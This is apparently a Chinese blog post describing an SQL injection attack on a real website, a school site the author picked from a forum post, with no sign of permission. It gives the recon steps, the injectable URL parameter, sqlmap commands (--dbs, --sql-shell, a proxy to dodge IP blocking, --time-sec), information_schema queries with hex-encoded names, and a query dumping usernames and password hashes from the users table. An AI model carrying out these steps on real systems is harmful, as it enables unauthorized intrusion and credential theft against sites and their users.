在某论坛看到一个小朋友说要检测他母校,顺手翻了下那个站点,测试了下刚好可以为公众号写一篇关于sqlmap和mysql注入的文章。
虽然是一篇关于sql注入的文章,但是还是有必要说一下踩点。作为一名渗透师必须要养成的习惯。
首先是whois:
接着是同服务器网站查询。
接着是服务器信息的收集:
端口扫描,这里用国外一个黑客用python写的:
开启了21, 80
习惯性的输入robots.txt。无果。
输入 /admin,哈哈。这下指纹识别都省下了。sitestar,漏洞wooyun大大地有,不要和我说关了,:)有方法。
目录扫描暂且搁置,因为不清楚有无WAF,先看有没有注入点,是否有XSS存在。
发现:
http://www.****.com/index.php?_m=mod_product&_a=prdlist&cap_id=306
在id值前加负号。
说明此处可控。存在注入点。
那么尝试简单的手工注入,发现未能成功执行sql语句。比较懒,就丢进sqlmap里面。
sqlmap.py -u http://www.****/index.php?_m=mod_article&_a=fullist&caa_id=35
这里是显示基于布尔型的盲注,继续往下走。
又提示可能是基于时间的盲注?
真是奇葩,继续往下。
sqlmap.py -u"http://www.****/index.php?_m=mod_article&_a=fullist&caa_id=35"–dbs
爆出数据库的名字:
直接使用 - -sql-shell,形成一个sql交互shell
然后,版本知道了,select database();发现不是root,那么就不用select user();了。
因为用户名一般是root@localhost。不是root就是xxx@localhost。当然不在交互的shell中你也可直接用 --current-user 。那么不是root就无法into outfile。乖乖破解表名列名吧。
表名:SELECTgroup_concat(table_name) from information_schema.tables wheretable_schema=0x68646D313034303435385F6462
ss_admin_menu_categories ss_admin_menu_items ss_admin_shortcuts ss_article_categories ss_articles ss_background_musics ss_backups ss_bulletins ss_delivery_addresses ss_delivery_methods ss_download_categories ss_downloads ss_emails ss_friendlinks ss_languages ss_marquees ss_menu_items ss_menus ss_messages ss_module_blocks ss_navigations ss_online_orderr ss_online_qqs ss_onlinepay_histories ss_order_products ss_parameters ss_payment_accounts ss_payment_providers ss_product_categories ss_product_pics ss_products ss_roles ss_site_infos ss_static_contents ss_template_categories ss_templates ss_third_accounts ss_transactions ss_user_extends ss_user_fields ss_user_oauths ss_users
列名:select group_concat(column_name)from information_schema.columns where table_name=0x73735F7573657273
og_time,lastlog_ip,rstpwdreq_time,rstpwdreq_rkey,active,s_role,wizard,mobile,member_verify,nickname,gender,birthday,country,city,addr1,addr2,zdpcode,telephone
在跑表的过程中又发现有防火墙,就用代理跑。不然IP会被服务器拉黑
--proxy"http://127.0.0.1:1080"
发现确实是基于布尔也基于时间的,因为很慢。。--time-sec=10
最后,用selectlogin,passwd from ss_users limit 0,2;跑出密码和用户。
发现不是MD5,而是sha1。。。
登录乃是后话,以及要提的,有时候注入多dump出敏感的字段,因为看下图...